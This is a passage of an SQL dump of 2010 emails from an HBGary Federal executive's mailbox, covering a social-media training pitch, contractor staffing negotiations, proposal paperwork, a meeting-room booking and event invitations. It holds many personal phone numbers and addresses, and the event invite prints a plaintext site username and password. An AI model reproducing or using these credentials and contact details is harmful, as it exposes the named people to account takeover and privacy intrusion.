and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat idea Dave.\r\n\r\n&nbsp;\r\n\r\nRich and Bob &#8211; Any thoughts on this concept?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nNolan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: McGuffey, David C.\r\n[mailto:DAVID.C.MCGUFFEY@saic.com] \r\nSent: Thursday, September 02, 2010 11:17 AM\r\nTo: nolan@informationsecuritysolutionsllc.com; Blake Darche\r\nCc: McGuffey, David C.\r\nSubject: RE: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNolan,\r\n\r\n&nbsp;\r\n\r\nHow do we get a demo copy of the HBGary stuff for Blake to test\r\nover at Gov&#8217;t spaces?\r\n\r\n&nbsp;\r\n\r\nOnce we get a lab here, we should be testing out their stuff\r\nhere&#8230;but in the meantime, Blake should get a shot at it over there.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave McGuffey\r\n\r\nPrincipal Information Assurance Engineer // NSA-IAM, NSA-IEM\r\n\r\nScience Applications International Corp., Columbia, MD\r\n\r\n410-872-4051 (w)\r\n\r\n443.597.6402 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nolan Clifford\r\n[mailto:nolan@informationsecuritysolutionsllc.com] \r\nSent: Wednesday, September 01, 2010 17:10\r\nTo: McGuffey, David C.; Blake Darche\r\nSubject: FW: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNolan Clifford, CISSP, CFCP\r\n\r\nCEO, Information Security Solutions\r\n\r\nwww.informationsecuritysolutionsllc.com\r\n\r\n703-945-7480 &#8211;Blackberry\r\n\r\n703-869-7396 &#8211; Mobile\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 01, 2010 2:32 PM\r\nSubject: Social Media, Exploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3108 - Release Date: 09/02/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3110 - Release Date: 09/02/10\r\n14:50:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/06/10\r\n14:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10\r\n14:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3135 - Release Date: 09/14/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7351,'aaron_hbgary_com/7351.html'),(11755,'2010-09-15','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008818.M70614P14101Q6610.eml','\"Aaron Barr\" <aaron@hbgary.com>','Got a busy day','\r\n\r\n\r\n\r\n\r\nGot a busy day\r\n\r\n\r\n\r\n\r\nWe need to talk to see if we are going to submit a writeup today.\r\n\r\nWe are still debating whether this is technology or smart people to do the analysis of data.&nbsp; Not sure so we probably want to cover both aspects.&nbsp; Need to know who you have, the technology and what facilities we could use.\r\n\r\nI talked to Doug Britton yesterday.&nbsp; I started by asking whether this was more of an effort to develop new technology versus identifying the level of risk present currently or in the near-term.&nbsp; He replied that it was a little of both.&nbsp; He then reiterated what was in the email: \r\n\r\nQuantifying the forensics footprint\r\n\r\nin 1000 words give your approach, techniques,and your experience doing this\r\n\r\nTask is a little bigger than a BlueFish task.&nbsp; I said that I was trying to figure out what to address in 1000 words to make sure that I give them what they need to make a decision and he said that the customer is directing them to be vague and to not give out additional information.&nbsp; \r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',1745,'aaron_hbgary_com/1745.html'),(11756,'2010-09-15','\"HQ Meeting Room Reservations\" <john.pedraza@regus.com>','/aaron@hbgary.com/new/1297008818.M781567P14101Q6611.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 11764210','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				11764210Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Wednesday, September 15, 2010Start Time:\r\n						1:30 PMEnd Date:\r\n						Wednesday, September 15, 2010End Time:\r\n						3:30 PMDelegates:\r\n						1Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10% Discount$88.20$88.20TOTAL$88.20 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					John PedrazaPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',12159,'aaron_hbgary_com/12159.html'),(11757,'2010-09-15','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008819.M177151P14101Q6612.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ROMAS Reqs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI am happy either way I just want to make sure that for some\r\nreason they all want to work for you.&nbsp; I know your dynamic personality and\r\ninnovative company will seem sexy to most of them and they may want to\r\nmove.&nbsp; I don&#8217;t want to gut this effort in order for you to take them\r\nto other places.&nbsp; If we are restricting this discussion to only the 5\r\npeople listed in this email I have no problem allowing them to switch but not\r\nthe whole team.\r\n\r\n&nbsp;\r\n\r\nI think limiting this option to the 5 people is fair to both\r\ncompanies.&nbsp; I am also open to subcontracting to you, should you need the\r\ncritical skills of any TASCer outside of this opportunity.&nbsp; I am available\r\nto discuss this further either Thursday or Friday.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe can make this work to both our advantages and thanks for\r\nhelping out with the team!&nbsp; Now, where the @#$%## is the RFP?&nbsp; I must\r\nbe getting excited about this opportunity!\r\n\r\n&nbsp;\r\n\r\nTalk to you soon,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, September 14, 2010 5:54 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk, I think. &nbsp;Probably good to have a discussion.\r\n&nbsp;We can gut their multimedia and dev. capability but I will be reluctant\r\nto encourage certain people to apply if their is a possibility they can\'t\r\nswitch.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTawny\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nCal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would like to negotiate some of this thru prior to hiring\r\nif that\'s ok. &nbsp;And again I am only looking to negotiate the opportunity.\r\n&nbsp;Obviously if they want to stay then i am happy with that.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 14, 2010, at 3:45 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYes\r\nthat is our agreement.&nbsp; There will be an opportunity to move between\r\ncompanies for select personnel.&nbsp; I can&#8217;t promise all of the\r\npersonnel will have the ability to transfer.&nbsp; I would further our agreement\r\nby adding that the management of the two companies have to agree on the\r\ntransfer before it can happen.\r\n\r\n&nbsp;\r\n\r\nI\r\nthink that is fair.&nbsp; What do you think?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 14, 2010 3:03 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nthere\r\nshould be a set of people applying for the positions. &nbsp;I am in the springs\r\nand just spoke to some of them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOne\r\ncondition is on some of them there will be an opportunity once we win to have\r\nthe choice to switch to HBGary if they desire. &nbsp;I told them that we had\r\nalready had that discussion and it was agreed. &nbsp;That is still the case\r\nright?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPeople\r\nto watch out for:\r\n\r\n\r\n\r\n\r\n\r\nTawny\r\nFritz\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nFurman\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSpring\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nCal\r\nJacobs\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\nColston\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nProbably\r\nsome others but watch for those for now.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nAug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1658,'aaron_hbgary_com/1658.html'),(11758,'2010-09-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008819.M417123P14101Q6613.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','Yeah I know it&#39;s a little tough for you and I  semsitive to that.  I don&#39;t want to guy your team or efforts.  I want to be a team player.  I will he very happy if I can just get am agreement to allow for the opportunity of the people I listed to switch if they so choose.\r\nI&#39;ll give u a call tomorrow.AaronSent from my iPhoneOn Sep 15, 2010, at 9:21 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI am happy either way I just want to make sure that for some\r\nreason they all want to work for you.  I know your dynamic personality and\r\ninnovative company will seem sexy to most of them and they may want to\r\nmove.  I don’t want to gut this effort in order for you to take them\r\nto other places.  If we are restricting this discussion to only the 5\r\npeople listed in this email I have no problem allowing them to switch but not\r\nthe whole team.\r\n\r\n \r\n\r\nI think limiting this option to the 5 people is fair to both\r\ncompanies.  I am also open to subcontracting to you, should you need the\r\ncritical skills of any TASCer outside of this opportunity.  I am available\r\nto discuss this further either Thursday or Friday.  \r\n\r\n \r\n\r\nWe can make this work to both our advantages and thanks for\r\nhelping out with the team!  Now, where the @#$%## is the RFP?  I must\r\nbe getting excited about this opportunity!\r\n\r\n \r\n\r\nTalk to you soon,\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, September 14, 2010 5:54 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk, I think.  Probably good to have a discussion.\r\n We can gut their multimedia and dev. capability but I will be reluctant\r\nto encourage certain people to apply if their is a possibility they can&#39;t\r\nswitch.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTawny\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nCal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would like to negotiate some of this thru prior to hiring\r\nif that&#39;s ok.  And again I am only looking to negotiate the opportunity.\r\n Obviously if they want to stay then i am happy with that.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 14, 2010, at 3:45 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n \r\n\r\nYes\r\nthat is our agreement.  There will be an opportunity to move between\r\ncompanies for select personnel.  I can’t promise all of the\r\npersonnel will have the ability to transfer.  I would further our agreement\r\nby adding that the management of the two companies have to agree on the\r\ntransfer before it can happen.\r\n\r\n \r\n\r\nI\r\nthink that is fair.  What do you think?\r\n\r\n \r\n\r\nChris\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, September 14, 2010 3:03 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Garcia, Kathy (TASC)\r\nSubject: Re: ROMAS Reqs\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nok.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nthere\r\nshould be a set of people applying for the positions.  I am in the springs\r\nand just spoke to some of them.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOne\r\ncondition is on some of them there will be an opportunity once we win to have\r\nthe choice to switch to HBGary if they desire.  I told them that we had\r\nalready had that discussion and it was agreed.  That is still the case\r\nright?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPeople\r\nto watch out for:\r\n\r\n\r\n\r\n\r\n\r\nTawny\r\nFritz\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nFurman\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSpring\r\n\r\n\r\n\r\n\r\n\r\nJeremiah\r\n\r\n\r\n\r\n\r\n\r\nCal\r\nJacobs\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\nColston\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nProbably\r\nsome others but watch for those for now.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nAug 30, 2010, at 7:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.  Then numbers are  as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS. \r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13701,'aaron_hbgary_com/13701.html'),(11759,'2010-09-15','\"Potomac Officers Club\" <support@potomacofficersclub.com>','/aaron@hbgary.com/new/1297008819.M657196P14101Q6614.eml','aaron@hbgary.com','POC Event Announcement','\r\n\r\n\r\nPotomac Officers Club Invite\r\n\r\n\r\n\r\nWe are pleased to announce that security expert and former White House\r\nadvisor Richard Clarke will be speaking at our next luncheon.  Richard\r\nClarke is an internationally-recognized expert on security, including\r\nhomeland security, national security, cyber security, and counterterrorism.\r\nHe is currently an on-air consultant for ABC News and teaches at Harvard\'s\r\nKennedy School of Government.\r\nMr. Clarke served the last three Presidents (George H.W. Bush, Bill\r\nClinton, and George W. Bush) as a senior White House Advisor. Over the\r\ncourse of an unprecedented 11 consecutive years of White House service, he\r\nheld the titles of: Special Assistant to the President for Global Affairs,\r\nNational Coordinator for Security and Counterterrorism and Special Advisor\r\nto the President for Cyber Security. He also wrote two authoritative books\r\non Cyber Security entitled \"Cyber War\" and \"Against all Enemies\".  You can\r\nreceive one of his books when you register for the event!\r\nYou will not want to miss this chance to hear from an extraordinary man\r\non this very relevant and topical subject.   Details of the event are\r\nincluded below.  PLEASE NOTE:  You are now required to enter your username\r\nand password to sign up for the event.  That information is contained below\r\nin this email for your ease!\r\nDate:  Tuesday, October 5th\r\nTime:  11:30 am (networking and registration) with lunch and speaker at\r\n12:00 pm  - 1:00 pm.\r\nLocation:  Tyson\'s Corner Ritz Carlton (Salon 3)\r\nLink to Register : http://www.potomacofficersclub.com/events/hxIfaLvMibUVqTAVR4F9/\r\nYour login information:\r\nUsername : aaron@hbgary.comPassword : KyCPx7T2\r\nWe hope to see you all there!\r\nThe Potomac Officers Club\r\nPS &ndash; as you may have noticed, the Potomac Officers Club has a new\r\n(and improved!) website.  Thank you very much for your patience and\r\ncooperation as we are still fine tuning all the features and we may\r\nexperience a few \"growing pains\" in the process.  We sincerely appreciate\r\nany comments or suggestions you might have.\r\nIf you are unable to attend this event and would like to be removed\r\nfrom future reminders, please click here.\r\n\r\n\r\n\r\n\r\n',12136,'aaron_hbgary_com/12136.html'),(11760,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008820.M794807P14101Q6615.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: Items Needed Gatorbait','Steve,Attached is our updated rates.  Regards,TedOn Tue, Sep 14, 2010 at 5:29 PM, Ott, Stephen D &lt;Stephen.Ott@mantech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nGood evening.  Please see the list below of items that\r\nwe are awaiting (in red).\r\n\r\n \r\n\r\nAlso, while we\r\nhave received pricing from you, we do need to have the fee clearly broken out—this\r\nis because we can’t price fee on fee for this proposal.  We need\r\nthis rate information by 10:00 Wednesday.  Please let me know if you have\r\nany questions.\r\n\r\nThank you.\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n\r\n \r\n  \r\n   \r\n  \r\n  \r\n  HB Gary\r\n  \r\n \r\n \r\n  \r\n  TA (AW)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Company Logo (MC)\r\n  \r\n  \r\n\r\n   \r\n  \r\n \r\n \r\n  \r\n  Company Summ. (MC)\r\n  \r\n  \r\n\r\n   \r\n  \r\n \r\n \r\n  \r\n  POC Info (SO)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Reps &amp; Certs (SO)\r\n  \r\n  \r\n\r\n   \r\n  \r\n \r\n \r\n  \r\n  Fiscal Year (CG)\r\n  \r\n  \r\n\r\n   \r\n  \r\n \r\n \r\n  \r\n  Pricing (CG)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  OCI Statement (AW)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  SF 328 (LT)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  KMPL (LT)\r\n  \r\n  \r\n  X\r\n  \r\n \r\n \r\n  \r\n  Personnel Matrix (LT)\r\n  \r\n  \r\n\r\n   \r\n  \r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n \r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the addressee\r\n(or authorized to receive for the addressee), you may not use, copy, disclose\r\nor distribute this email or any of the contents of this email.  If you\r\nreceived this email in error, please promptly notify the sender by reply email\r\nand delete this email from your records.  Thank you.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2255,'aaron_hbgary_com/2255.html'),(11761,'2010-09-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008821.M371845P14101Q6616.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: Items Needed Gatorbait','Steve,\r\n\r\nAttached is our logo and below is our company summary:\r\n\r\nHBGary Federal is an information security services company providing\r\nlifecycle support for enterprise incident response, malware analysis,\r\nand information operations. HBGary Federal’s mission is to provide the\r\nbest Cyber security and Information Operations specialists, threat and\r\nmalware analysts to assist our customers in advancing the nations\r\ncapabilities in securing cyberspace and combating evolving threats.\r\nOur focus is bringing together creative, technical talent, experienced\r\nthreat and intelligence analysts, and mission and cultural experts to\r\ndevelop unconventional and innovative cybersecurity capabilities. As a\r\ncore strength HBGary Federal leverages HBGary’s incident response and\r\nmalware reverse engineering and analysis tools, and brings extensive\r\nexperience in information operations and cyber security at the\r\nnational level.\r\n',8165,'aaron_hbgary_com/8165.html'),(11762,'2010-09-15','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297008821.M688381P14101Q6617.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Wednesday, September 15, 2010 \r\n								VOLUME 7 ISSUE 12 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question 